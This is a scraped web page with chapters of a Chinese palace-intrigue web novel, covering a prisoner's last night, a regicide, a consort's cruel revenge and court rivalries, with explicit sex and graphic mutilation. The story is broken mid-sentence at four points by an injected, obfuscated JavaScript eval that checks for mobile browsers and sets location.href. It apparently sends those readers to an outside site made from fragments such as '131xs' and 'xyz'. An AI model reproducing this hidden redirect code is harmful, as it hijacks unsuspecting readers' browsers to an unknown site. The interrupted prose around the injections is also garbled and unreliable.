越过这座城关,后方便是长安,繁华依旧,贩夫走卒,贵女出游四处飘香,益州村落的大火、光秃的树干、相籍的尸骸仿佛另一个国度发生的事。 皇城权力的更迭化作一滴血迹干涸在地上,再扰不起半丝风浪。 刑部死牢内,柳茸见到了数月不见的脸。 他被押在暗无天日的地牢,浑褐的双目放空着,身上已无一块能称得上好肉的地方,血锈染黑囚衣。 看到柳茸,崔元多日无神的眼落进了点光,也仅仅一点,稀微如无。他开口,第一句话柳茸便不知如何作答。 “是你诬告的我?” 诬告……柳茸心口被小虫蜇了下。 “不是我。”说完意料之中牢房里没了声。 事到如今是与不是何需纠结,又有何分别?密印如此私密之物,若非主人泄露旁人何来能以密印做假之机。 即便诬告不是出自她手,与他人私下往来一事也是敲定了的,这一点在大理寺亮出证据时,崔元何尝揣不明白。 “你不必作解释,”崔元打住她将动的唇,柳茸心肉顿顿地跳,苦意蔓延,听见他道:“我信你。” “崔元……” “犯官崔元,恭祝大人高升。” 这份祝贺传到耳中要多讽刺有多讽刺,柳茸扒着狱栏的手冰得可怕,腰板笔直的男人低下了从来倔傲的头,对自己俯身作礼,他的手臂,断了。 “崔元,你快起来!”柳茸环顾四周,怕狱卒瞧见,可那人的肩膀就像塑了铅般沉重,一动不动。 “有一事犯官望托予大人,大人不应,犯官便不起。” 柳茸舌根发涩,“你说。” “别来救我,救益州,益州需要你。”他总算展颜而笑。 “我找同僚救你出去!我不信大梁无人愿意帮你,还有薛不虞,他也在为你周旋,你若是想……” 崔元只是摇头,忍不住打断她近乎无论次的话,“有些事没有你也会有旁人,阿茸,我怪不了你。我命数已定,不值得更多人为我流血,但是你的路还未停,朝前走,走下去。” 狱门猝然打开,薛不虞打晕狱卒夺了钥匙,崔元如今管不了薛不虞,但执意不走。 若走便真成畏罪而逃,坐实弑君,他没有罪,不愿潜逃。 “不逃你就真死了!死后无人给你立冢,无人替你申冤!” 威胁显得苍白无力,崔元依然盘坐在地,指向柳茸,“我,要同她单独说话。” 灯火几乎没有,不见天光的暗牢里,他们除衣到几乎将尽也不怕人发现。 仿佛是知晓今夜许是最后一次与对方沉溺欲海,彼此格外珍惜地爱|抚着,又好似想要忘记身躯的痛苦般,极尽忘情。 男人断了手,只留一只好手为柳茸解带,动作些许滞,但不多时渐入佳境,他什么都不想,什么也无暇再想,彻底放任自己纵情。 她的生命还很长,往后的情事,会有人代替他去满足她,但此刻,他希望他们属于彼此。 地面冰冷潮湿,柳茸很快不觉,也不觉牢狱肮脏,她感觉自己化作海水,被月亮牵引着潮涨潮落,拍岸的潮水愈发激猛,留下一层又一层浮沫,眼前开始变得空白。 最后一次了,一场过后,牢狱沉淤、黑暗,添了挥散不去的腥燥。 薛不虞抱剑守在牢外,见柳茸散发出来,不急不忙地抚理着衣襟,“帮我买包药。” 她咂咂舌补充了句,“嗯,避子药。” 薛不虞咽喉发紧,望向那间牢狱,不自觉握紧剑鞘,“我叫医师给你开方子来。” 随医师取药途中,薛不虞一路想着崔元交代的话。 “她喜吃石榴,不喜羊肉,夜里点四弃香即可,床枕每两日一晒,下唇左处……易破,你要挂心。” 这都算什么话!真把他当使唤丫鬟了?薛不虞试图将崔元的声音挥诸脑后,声音鬼魅般越萦越深。 头脑地发昏地给柳茸拿了药,他注视女子一滴不剩喝干,不久前饮水时的情愫又起,叩着心门。 自幼他们的喜好相差无几,从看中的佛珠、到相中的宝剑,崔元认可的,他也喜欢。 他曾自豪于与师兄的默契是英雄所见略同,直到柳茸出现。薛不虞终于开怀,总算有意见相左的时候,且难得是素来“英明”的师兄瞎了眼。 就是这样一个瞎了眼的师兄说出了最末的话,“下唇左处易破”。 薛不虞上街挑了盒最润的口脂油,那话里似乎还有其他的意思,他不愿想,也不想去思量。 月中,雍王践祚。 太极宫内,宫人紧锣密鼓筹备着登基大典,雍王坐在九重明堂,凭栏眺着江河,先帝在时他便最是受宠,天下合该是他的。 须臾,珠帘香消,鼻端闻到一股腥,身后的宫人不见了,取而代之的是个不该出现在皇宫的人。 “薛不虞?”雍王既讶异,也轻蔑,“今日孤要砍你师兄人头,你不该去劫法场么?” 来人压低斗笠,剑上绽血,即便劫了法场,崔元也不会同自己走,他的法场自己劫不成。 薛不虞望向雍王项上的东西,“你的人头,比他好带。” “你敢。” 不出午时,太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958144|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极宫乱起,雍王被弑。 一具无头尸骨摔下明堂。 薛不虞将人头扔在乱坟堆,打算去取赵玉则的,上次被柳茸阻拦,这次无人再拦他。可那人早有布备,狡兔三窟,他闯皇宫与金吾卫交手本就负了伤,只得先撤离。 追捕薛不虞的文书不日发出,他跳上柳茸的马,一路向南。 这日,是崔元行刑的日子,同日,柳茸离开长安。 长安不久便会是龙潭虎穴,不宜久留,“我答应过他,要带你走的。” 说着,薛不虞握住缰绳。 “可你杀了雍王。” 薛不虞不以为意,“你担心我?” “杀个人而已,大不了我接着浪迹天涯,先去漠北看黄沙,再去醉仙楼,取天下第一酒。”他摇着缰绳,“要不要跟我一起?” 城门在身后远去,长安的风物还未体会便匆匆消散在闭合的城门内,包括刑场的杀伐。 柳茸来不及去刑场,不曾去见最后一面,好似便永远不会说离别。 午时已过,刑场……应当全部结束了,待明日一至,清水一洗,闹市又是生机一片。 马车停在一片水塘,柳茸忽道:“我不走了。” 薛不虞装水囊的手一顿,“你可知自己在说什么?” 柳茸回望沈伟的城门,清眸珞珞如石,“我要留下来。” 她拽过缰绳,走向来时的回头路。 “郎君若想走,可先行离去,可是我不能就此作罢。”薛不虞是不羁之人,注定要与沧浪为伍,然而她不是。 她不信佛,不修道,放不下太多的尘世俗物,做不到快意恩仇,俗世才是她的归处。 水囊里的水倾泻一地,映照出女子决绝而去的倒影,薛不虞跳上马拦住她,抽剑横在她颈间,“你想好了?” 柳茸颔首。 青年收起剑,“我陪你。” 柳茸怔住,“你不是说了要浪迹天涯么?” “正好,浪到了长安,去长安寻仇。”薛不虞满不在乎,“我确实不喜长安,等把长安的事解决了再浪迹天涯,也不迟。” 柳茸愕然,最终道一个好字。 * 陈王府来了位秘客。 老仆将柳茸带入棋室时,帐内的落子声停了,几颗无心掉落的永子在赵玉则云靴边。 仆从正要替主人去检,被赵玉则屏退。 “柳大人,深夜造访好像……于礼不合吧?” 女子轻手轻脚撩开幔帐。 极少有女子敢如此直白大胆走近他的幔帐,赵玉则似是有些好整以暇。 “姑娘出身勾栏竟想攀龙附凤,当真是好志向。” 他在羞辱她。 “殿下,做个交易如何?” “交易?” “我能让这场夺位之争更乱些,殿下,想看么?”她碰上最后一层幔帐,赵玉则的面容在朦胧的烛光下,被暗夜一角遮掩。 “乱?万一本王是想称帝呢?” “殿下不会。” 柳茸先前以为陈王不参与夺位之争并非无意而是囿于身份没有资格,几番下来,以这个男人的手腕完全能参与,但他选择自保。 他无意于帝位,比起自己加入被耗干为他人做嫁衣,不若几头买好,坐收渔翁之利。 又或者,他要一个听自己话又合自己心意的君主。 帐中的轻哼声令柳茸知晓,自己猜中了。 赵玉则意味深长“噢”了声,“柳姑娘是认为自己有能帮到本王的价值?” 他从帐中招手示意自己上前,柳茸止在半步之间,寸步未动,深知再靠近,藏在暗处的暗卫便会将自己剁成肉泥,“殿下不试试怎知?” “姑娘子时来,本王以为又是来求王妃之位呢。”赵玉则不痛不痒地下着棋,“若说想做陈王妃,恐怕姑娘还……” 玉似的人轻笑,“不说笑了,你打算怎么帮我?” 她巧妙地掩住恨意,声音听不出半分假意:“殿下,想看台好戏吗?” 30. 五年后 元弘七年,新帝即位的第一年。 也是五子夺位后的第三年,大梁终于迎来一位真正意义上的皇帝。 改元宣德,是为宣德元年。 又过两年,五子夺位之乱渐平息,曾经朝大梁撕开一道口子、带来无数伤痛的夺位之乱变成凝固的沉疴,在新帝休养生息的政令下慢慢淡去。 杜攸之听着说书人讲述着种种,只觉如梦似幻。 这些年杜氏一族为避夺位之乱投奔西域旁枝,他旅居塞外四年,今岁是出玉门后头一遭回中原,许多事已经淡忘。 唯记得走前贵不可言的陈王赵玉则。 说书人似有所感般正巧说到了陈王。话说陈王赵玉则,贵极一时,新帝登基后因从龙之功被封元老,与太尉分庭抗礼。 他本罪妃所出,生母于先帝朝时触怒龙颜赐死,无缘帝位。 借由夺位之乱,赵玉则清理了一批人,幼时欺辱他的嫡兄、朝中无法笼络的势力、与自己相背的士族、除太尉外皆一一拔除,又转而扶持被谴出京的燕王,助其即位。 去岁,最不对付的太尉病故,赵玉则更是风头无两,代领镇国大将军一位,罪妃谢氏被先帝废为庶人后不得葬于皇陵,也因他追封立庙。 “听起来这陈王真是风头大得很。” “只怕不是天子胜似天子了。” 说书人叹了口气,“陈王的确风头无二。但,那都是过去了。” 天水郡中听书的酒客交错议论着,杜攸之放下酒盏走出客舍,继续启程南下。 他回中原并非心血来潮,而是为父请命。 去岁中秋,太尉以私通突厥为由逮走杜父等一干人,杜攸之侥幸逃过一劫,杜氏与当朝太尉素无过节,他想不出此举目的何在。 后大理寺更是宣判杜父私通齐王,曾与燕王争至最末的嫡兄,杜攸之心急如焚,父亲必在狱中受了一番拷问。获悉太尉故去,他救父心切,飞书搭上了最有可能救父亲脱身的人—— 陈王府,杜攸之来不及整理衣容匆匆下马,临近府门见到管家的面色,反应过来理了理袍角上细微的褶皱。 去见陈王自然万般不敢怠慢,一点纤微纰漏都应当心。 地砖留有木架久放的印子,似乎是搭白帐的漆架,白帐撤去,茶室清寂。 这便是炙手可热一时的陈王府邸,与想象中全然不同,杜攸之抿着唇。 茶室上座,他转眼望到一张绝色的侧颜。 那是张鼻骨准挺的面容,肌肤通透如玉,因太过通透,双颊泛起一层桃花色,茶汤的热气一蒸,更添昳丽粉白,身着却如芝兰玉树,虽为王侯,容止间无一丝虚缈的浮华。 莫说女子被蛊惑倾心,男子都要被他勾了魂去了。 也正因表皮太薄,赵玉则惧怕日光,稍稍一晒便红痒难耐。 今日他罕见地未戴幂离遮阳,侧着的脸堪堪正过来,对来人一笑,杜攸之从愣神中缓过来,垂头认罪。 不论何时,私自打量王侯的脸总归是大不敬。 “起身罢。”赵玉则的语气不温不火,似不甚怪罪。 “杜大人所求之事,”说到这时,杜攸之偷偷捏紧心,“本王与狱丞打过照面了,令堂尚在狱中,并无大碍,不日则可出狱。” “谢殿下周转。”得知父亲没事,杜攸之一颗心提下大半。 “不急,本王会让你二人父子相聚的。”赵玉则撩开帘子,示意杜攸之跟上自己,杜攸之不明所以跟上,来到一处更为偏僻的厢房。 来前杜攸之还在担忧,陈王盛极一时不假,可那也只是一时。 如今的他杜攸之不确信还有无权命大理寺放人。太尉刚逝,所有人都道陈王必然要高升,果真高升,可不出期月,新帝将他镇国大将之职褫夺,在朝会屡次斥责。 皇帝对陈王的宠信仿若一夕之间天翻地覆,要知,天子最信任的臣下,陈王称得上其一。 现在看来,百足之虫死而不僵,自己的担忧没有必要,杜攸之想。 “长安正在筹备封后大典,杜大人的事须得再缓缓,杜大人……” 杜攸之循声望,是那人的笑。 “下官无碍,听凭殿下安排。” “那便好。这几日本王一直不知封后大典为贵妃献上什么礼,杜大人即来,本王便放心了。” 凤位空悬,诸口不一,新帝为王时便无正妃,自然无皇后,诸臣都想送自家贵女坐上后位,明争暗斗如火如荼。 直至一日,新帝做了个谁都不曾考虑的决策,封贵妃为后。 “下官不善替人择礼,至于女子喜欢何物便更无所知。”杜攸之推诿。 “是不善择礼,还是不喜欢收礼的人?”赵玉则没有继续戳穿他。 关于贵妃,朝臣间确有些不算好的传闻。 杜攸之忧心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969021|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几日,打听到赵玉则命他人去备礼,不再叫上自己,遂松了口气。 没有官员不想高升,但若要与贵妃扯上关系,去博她赏识提拔,杜攸之宁可婉拒,他再渴望登青云梯也有为官原则。 只是杜攸之没曾想不抱希望喊冤的手书真被陈王接受,想来也是,杜氏门楣不兴,父亲只是无关紧要的小官,犯不着各方势力咬死下死手。 当杜攸之再次跟着陈王府管家的引领来到偏僻厢房时,房子的主人赵玉则对他道:“来了。” “殿下,今日不是准下官去见家父吗?”接人当是在京城狱门外,再不济也是大理寺或刑部,怎会是王府。 赵玉则转身对着正堂落下的竹帘,长跪于地。 杜攸之脑子婚沉,但也意识到帘内之人非比寻常,连亲王也下跪,便也谨慎跪下。 “殿下,家父一事可有眉目?”他心急如焚,愁眉低声。 “令堂马上搬来。” 搬?一件事物映入眼帘,杜攸之瞳孔骤然缩紧。 扈从搬来的是一根木桩子,木桩子赫然绑着一根砍去手脚蒙着面的“人”。 杜攸之一眼认得是自己父亲。 “爹——” “本王答应的事,这下你父子二人总算相见了。” “殿下这是何意!”杜攸之恨不得飞奔过去,而王府府兵双戟交叉阻住他的去路。 木桩子上的杜父哪有半分被救的模样,活脱脱是上刑的囚徒。 身侧是木桩上的人痛苦嘶喊,结痂的伤痕随声再次破出鲜血,杜攸之毛骨悚然。 而赵玉则仿若未闻地抬起头,目光逡巡过竹帘之内,“臣送的这份大礼,不知可喜欢?” “什么大礼?何来大礼……”杜攸之喃喃。 “臣还挑了一人,此人——随娘娘处置。” 竹帘收起,女子的身影从正堂踱出,杜攸之心神俱震。 像是穿透了时光,将他拉回多年前初遇的勾栏酒肆、榴花树下,对方的容颜随树上同样招眼的榴花摇曳。 数年过去,朝思暮想的容颜就在眼前,褪去旧皮,多了层逼人的矜贵锋芒。 杜攸之神摇魄荡。 娘娘……杜攸之忆着赵玉则对柳茸的称谓,如今大梁能唤娘娘的只有一位…… 他怎么也料不到,自己心中暗生微词的贵妃,会是柳茸,几日后封后大典,为她而开。 31. 贵妃 杜攸之是听过贵妃的。 传闻她原是益州来的女官,本为他人妇,后为太尉之妻,太尉成亲当日,尚为燕王的皇帝就在酒席间,吃着自己未来贵妃的喜酒。 太尉病逝后,几方高官相继求娶,无人不眼馋她身后大半个太尉府的陪嫁,甚至为此不惜大打出手告上官衙,谁知转眼宫廷重阳宴,在天子身侧见到了她。 “娘娘莫不是不认得此人了?”赵玉则出声,几名府兵不由分说摁住杜攸之。 “此人与娘娘,可是渊源不浅呢。” 一声冷笑从柳茸唇边溢出,“本宫要这两人有何用?” “自然是……要杀要罚,随娘娘处置。”赵玉则神色柔和,略带几分不可察的讨好与凌厉。 “其父通敌叛国,罪无可赦,至于杜攸之虽是臣的人,但只要娘娘想,任凭发落,臣绝无偏袒。” “好一个绝无偏袒。即如此,”柳茸护甲抵住太阳穴,缓悠悠睁目,“那本宫就收了他吧。” 赵玉则无瑕的脸上出现一丝崩裂。 “陈王殿下不满意?” “不敢……” 赵玉则淙水般潋滟的双眸涟漪深幽,“臣还以为娘娘会杀了此人。” 柳茸哦了声,“陈王是在教本宫做事?” “臣没有。”他依旧跪在地,柳茸也没免他的礼,似没看见般走下台阶,只手捏住杜攸之的脸。 日思夜想的人近在咫尺,绮丽金贵地令人难以直视,许是被她的锋芒刺痛眼角,许是想到柳茸已是天子妻,杜攸之躲闪着眼眸滑下一滴润珠。 “如此好的一张脸,杀了怪可惜的。”柳茸仿佛没有看到赵玉则投来的目光,拍拍杜攸之的颊,“进宫服侍吧,宫里缺个乐师。” “娘娘!家父、家父是被冤枉的,还请娘娘开恩,容下官面圣——” “本宫的意思就是陛下的意思。” 杜攸之惶惶然瘫在地,今日无人会来救他,无人会救杜父。 地上的人吸了魂魄般颓丧,柳茸松口,“也不是没有法子救你父亲。” 地上的人眸光悠悠复明,怀着仅存的希望仰视她。 “你父亲通敌一事活罪难逃,念在你孝心一片,你若代父受刑,本宫倒是能网开一面。” 杜攸之的心不安鼓动,“……什么刑罚?” “本宫要你的舌头。” 话语一出,他乍然想起几乎尘封的往事,六年前他在勾栏院对她做诺,若负了她便教她割了自己的舌头。 鲜血从口中喷薄滴落青石阶,杜攸之想去看坐上女子是否有一丝不忍情动,然而她冷漠闭着眼,一点眼神哪怕是无情冷视也好,也不愿施舍给他。 这样好么?杜攸之不明白自己做错了何事,在痛意中闭上凤眸,这大概是对自己之前竟不齿地鄙夷贵妃的天罚吧,这样也好,就当是赔给她的。 庭阶的血色被仆从洗刷干净,家仆注意到自己的主子陈王还长跪在阶前。 自送礼到娘娘收礼约莫过了两个时辰吧?如此跪法怕不是膝盖骨都裂了…… 杜攸之与杜父都被带下去,柳茸才缓缓走到赵玉则身侧,他抬起眸,按捺不住的期冀隐隐泛光,似在等她开口。 “送一个故人来讨好本宫,有意思吗?” “娘娘不喜欢?” “怎么会呢,陈王有心抓人向本宫负荆请罪,本宫喜欢得紧,”柳茸摆摆手,“赏。” 随行的宫娥揖身下了台阶,赵玉则静候着,“啪”,一记掌掴不重不轻甩在脸上,薄冷的唇角瞬间流下一行殷红。 “娘娘赏你的。” 赵玉则没有掩袖拭血,淡笑着受下,“是臣的错,不该枉自揣度娘娘心思。” 因为未戴幂篱,他的肌肤在白日之下浮出一层好看的蟹红,密密麻麻。 柳茸默不作声观着,她太清楚那身亲王衣袍下薄软的皮有多容易泛红了,力道稍微重一些,留下的掐痕几日不散。 “陈王殿下怎的了?是不舒服吗?” 明知她是在明知故问,赵玉则非但不恼,落寞垂首,“臣天生畏光,恳请娘娘垂爱,赏臣一片地可栖息。” 柳茸伸手取来一片幂篱命人递过去。 “多谢娘娘。”他觑着勾魂的眼,鼻端在柳茸触过的地方蹭了蹭。 “本宫今日来有事与你说,西南道的兵权从前是由你手底的人代掌,即日起不必了。” 接过幂篱的手僵在半空。 继而,一个熟悉的名字传入耳中。 “交由镇国大将军薛不虞。” 赵玉则的唇角纹丝不动,捏着幂篱的边缘已生出几道沟壑褶痕。 “陛下同娘娘是不信任臣?” “陈王殿下劳苦功高,陛下体恤,但总不能将朝事全推给你一人,有人分担是好事,陈王殿下应当比本宫更明白陛下的苦心才是。” “是啊,臣合该谢谢臣的好皇兄。”他笑靥如花。 这个男人笑起来总是假时作真真时作假,令人分不清委蛇。 柳茸与他缠斗的五年,找不出他的一处软肋,也是在五年里她发现了前事种种因果。当初他主动指引自己与燕王相向,将他与燕王勾结的嫌疑撇得一干二净,实则从初时便不过是二人设的局。 让受太尉钳制的燕王暂且脱身,将骄矜自满的雍王推上众矢之的,事成之后燕王的确信任赵玉则。 这份信任维系得长久,在自己进入燕王的视线之前,都是兄友弟恭的。 太极宫,夜色如魅。 柳茸脱下簪子,宫人正备着浴汤。 新帝登基前,宫闱之中并无多少浴池,新帝登基后特命人拟造蜀地的温泉,专为柳茸凿了一方浴池。 宫人软软道着浴水备齐,一只手凭空出现,将柳茸截进暗阁里。 来人身上的松香烟烟笼锁在她周身,浓郁地发紧。 “为何收了他……”赵玉则终于发问,眼瞳中全然不见白日的从容自若,暗含着一丝委屈质问着。 白日对杜攸之的处置,他耿耿于怀至今。 柳茸感受到男子的唇吻着自己青丝,他紧闭着眸,一边在青丝间辗转忘情汲取着她气息,一边愈发质问。 “为何收了杜攸之……你不是与此人不欢而散过么?” “以娘娘的手段竟未将他碎尸万段……” 柳茸笑声慵懒,“我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976739|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能收吗?” 赵玉则退了半步,唇间挂着她的发丝,眼神幽暗,“……你不忍心杀他。” 那还真是错了,不是不忍是没必要,柳茸对杜攸之无半点情谊,一回宫就通知敬事房磨好刀了。 他牙关一个顶力上来,又抱住她,也不管旁的,呼吸急促,“娘娘对臣可真是心狠……” “镇国大将军,本该是臣的,西南道的兵权,也本该是臣的,就连你也……” 赵玉则咬住舌根,刹住不断往下的心绪,他半跪地抱着,下颌抵在她胸前,望着上方女子的面容,声音发颤,似乎受了极大苦待隐忍不住,“为何要给薛不虞?” 这些年,她一步步将他折磨地几近疯魔。 “不给薛不虞,难不成给殿下?”柳茸抚过亲王服,在男人背后留下指划过的痕迹。 “殿下,说起来我还要谢过殿下的,当初肯留我在长安,如今我学有所成,殿下有了弈棋人,殿下不该开心吗?” “如此说来臣真是三生有幸。”亲王的发冠落在地,细汗粘湿鬓发,赵玉则似在笑着,杀机从眼中流过,手却只是一路向下推高了女子的腿。 一场情动,宫人静悄悄地无人敲门扰兴。 没有柳茸吩咐,宫内的人不会擅自闯入,直待浴水放凉,无一人出声。 不知是哪里先发出的动静,柳茸闻见暖殿外起了骚动,阵仗貌似不小。 门外映出内侍弓腰的身影,“娘娘。” “陛下执意要找娘娘,奴婢等不好交代。” 陛下? 柳茸眼雾迷离,听见来者后猛然清醒,穿起落地的中衣,将面色尚在酡红的男人推进来时的暗阁。 “娘娘不能把臣用完就丢……”赵玉则尾音似带了细小的钩子,不满地勾着人。 他余温滚烫地能化人,脖颈间红晕斑驳,一根手指勾住柳茸襦裙系带,将扯不扯,半威胁,半留恋地玩弄。 柳茸不留情面地关上暗阁,锁死阁门,把殿内摆设复原。 除了情动时不慎碰掉碎的一坐瓷瓶。 刚捡起瓷片,上方响起声音,“何人碰碎的?” 天子的面庞在烛影摇曳中更叫阴鸷,他的眉眼阴沉,烛晕的光圈拉长鼻骨的光影,似刀裁的画像。 “是我不当心。”柳茸打算捡起,一只靴子踩住她手碰的瓷片。 “叫宫人收拾便可,何需亲自检。”皇帝慢慢踢开地上瓷片,“伤了朕的爱妃之手,一只瓷瓶可赔不起。” 他执起她的手,拍开细碎的瓷片,检查完手上并无划伤,脸上的阴郁却无一分好转,“方才谁来过?” “陛下多虑了,此处是宫里,哪能有人来?”柳茸理着掖在中衣里的头发,盘起发丝。 皇帝眸色微变,“朕的爱妃有事瞒朕。” 说罢他意图去拽暗阁机关,柳茸一个扑身扼住男人,小臂挡住男子胸膛,正中他下怀,他的眼神中写满了果不其然。 “陛下不也有事瞒我?” “朕何曾有事瞒着爱妃?”皇帝冷嗤一声。 柳茸柔荑摩挲至他的喉结处,缓缓扼住,“是吗,那你究竟是燕王,还是阿宝呢?陛下。” 32. 放肆 新帝颅内陡然嗡鸣一声,龙袍之下耸涌起某种难以察触的僵怔。 隔着几层衣物,柳茸的指腹悄悄捕捉到了它。 “你——!”他企图拿开柳茸箍在脖颈的手,却被柳茸进一步抵上窗台。 哐当,男人的背撞在窗棂,脖间横着女子藕色白的小臂。 华服锦袍在彼此山峦嵌合的身姿间交叠堆压。 “你放肆!”他像是终下定决心,牙关一紧,挥袖推开那只不安分的小臂。 新帝红着眼眶,眸中愠色一览无余。 “陛下……你长大了。”柳茸笑,“阿宝?” 下一刻她便被男人以同样的姿势抵在香榻,像是报复般。 帝王的眸如锻刀入水,滋滋冷寂下来,五指精准掐住她腰下胯骨。 她的胯骨在何处不用眼观他便能手寻,那是他每次背着她去接客时,双手勾架起她的腿后敲在他臂弯的两处小骨头。 左侧层层皮肉下,便是刚历过一场潮汐的小腹,帝王掐在胯骨的拇指移到小腹,隔着肚皮,揉捻。 “里面的东西是谁的?侍郎?将军?” “将军远在千里之外,臣妾怎有缘得见?” “不好说,”新帝冷哼,“你的能耐能做到何地步自己心里清楚。” 落在柳茸小腹处的眸光微黯,“反正不会是朕的……” “陛下是怀疑臣妾有人了。” 新帝抬正眼皮,见柳茸眉间挂着俏神的笑,明晃晃的挑衅,好不嚣张,似乎浑不觉头顶上那张阴沉地能滴出水的脸,已覆了层厚霜。 霜雪尽数随女子伸来的掌心消融,柳茸勾住他硬直的脖,“即如此……” “陛下自己进来试试不就知我有无隐瞒了?” 男人当即甩开她的手,将她抱起,却迟迟再无动作。 躁郁填满胸腔,寸步煎熬。 直到他听见一声:“陛下,你不敢的。” 是啊,他不敢的,他过去是她的龟奴,永远都是。 在她身前俯下身子、用后背承接她贴上的肌骨,然后,将她送上另一个男人的榻。 这便是他往昔日复一日的工作。 勾栏院到恩客府上的路很长,少年体格瘦小,偶尔喘不上气,背着柳茸在偏僻小巷偷偷停下喘息。 一截盛着水的竹筒戳了戳他汗湿的面庞,捏住筒身的,是柳茸的手。 路上人来人往,他别过头,说她不该亲自给自己递水。 “那你把阿姊放下来,自己拿?”柳茸柔声晃着竹筒。 他无视糊眼的汗珠,扛着她的双腿继续赶路。 后来,他接受了她的竹筒。 只是每次缀饮时,不时提起湿漉漉的眸子,瞄她一眼,仔细不让自己的汗珠滴落,污了她的水。 勾栏院的日子很苦,他背着她,从起初的吃力到驾轻就熟。 柳茸感觉得到,身下背着她的小小身形在不断硕实,地上的影子越拔越长,自己的视野也一日比一日高。 初春繁花满途,秋日大雨淹巷,她撑起伞,伞面不大,刚好罩住两个人,在雨幕下隔开一方天地。 少年提起她的裙摆,一刻没松手,就这样走了一路。 后有一日,那名叫阿宝的龟奴逃了,鸨母牢骚几日,买了个新的阿宝,勾栏院里依旧莺歌燕舞。 她本以为此生不会再有任何交集,宿命让她见到了两世不曾谋面的燕王—— 这个男人身上已全然找不出一点属于阿宝的痕迹,那双眸子曾经如一只小狗、湿漉漉地紧凝着她,偌大的视幅只容得下一个她,多年后阴冷沉灰。 但柳茸仍认出了他。 触感不会骗人。 自己费劲往上爬触及的仇家,竟是相互取暖熬过一段时日的龟奴…… 两世为敌,也不知前世的他可曾料到他们殊途陌路,那个在他背上停留的女子最终殒命益州城内。 至少现如今,他们是夫妇,庙堂间各取所需的夫妇,她名义上是他的妃,有名无实。 他与她拜了天地,却从未碰过她。 连最低陋的寺人都伺候过贵妃沐浴,见过她的玉体,他身为帝王,却不曾拥有她,也无法见得任何销魂之处。 他想看她真正舒心的笑靥,再难看见。 “陛下,你不敢的。” 柳茸的嘲弄萦绕在耳畔。 “谁说朕不敢。”新帝话音森寒,囫囵将柳茸抱上窗台,气血翻涌地撕着重叠成小山的裙裳。 今日她收进宫的男人,他怎可能认不出? 无数次,自己无数次将身上的人背去那男人府上,次日在他的府门前,一次次眺望,企图望见她走出的身影。 犹记得她跨出侧门,曦光中,冲自己荡开一圈无奈又翕然的笑。 疲惫也好、欢欣也罢,随她一对视便全部都消散了。 彼时的她在他面前是如此松弛,发自内心地笑着,笑意达底,不掺假情。 那是属于阿宝才看得见的笑。 而他不是阿宝了。 今夜在宫内见到杜攸之,往事成书被摊开一页页翻卷,无一不再提点他,他有着这般的过去。 新帝的手一路顺下,在某个关卡停住了,眼瞳蓦然睁大。 取出手一看,袖口湿了半片朱砂红。 “我来癸水了,不宜泡浴。” 来得真巧,正好扯借口。 柳茸也是刚反应到自己来癸水了。 磨人的癸水一向不准时,来前也无预兆,连她也记不住日子。 新帝愣在原地,半晌突然一反常态加大手劲,不退反进,探入下裳。 之前的挣扎、恼羞通通不见。 柳茸正疑惑此人何时转性,胯间一凉,亵裤被人拆了去。 湿红的亵裤被男人提在手中,在血即将滴到地砖时快速浸在盆中,褚色渗进男人的指甲缝,远看若丝丝缕缕红线。 “陛下不嫌脏?” “你的月事从前就是我伺候的,何来的脏。”他端来温水,俯下身,直至头与她的膝盖齐平。 帕巾温热的擦拭从腿心传来,柳茸不由得朝下看去,对方的头埋得极低、极低,眼眸望向地面。 似乎是刻意不与自己对触。 “叫旁人来罢。”犹记得自己初潮来时,鸨母说了这句话。 次日,初来乍到的伙计替自己换月事带,带子绑偏了,弹完琴后血沾染坐席大片。 “走开走开!”阿宝拿着扫帚赶人,“真不会伺候人!” 扫帚被愤愤不平地一把插在地上,他扭头,耷拉的唇角扬起,“我来伺候阿姊。” 那时,他的头也是这么低。 “阿姊,你看,外衣洗好了,一点血污都没有!” “阿姊,我大了也会来癸水吗?为何不会?” …… 淑景殿内,帕巾的拧水声回荡耳边,血腥味漫在空气里,被草木熏香冲淡。 淑景殿外,赵玉则宽大的袖袍下掌心发紧。 宫内华灯如昼,玉人立在光照不进的死角,观着几步之外属于帝妃的鸾殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 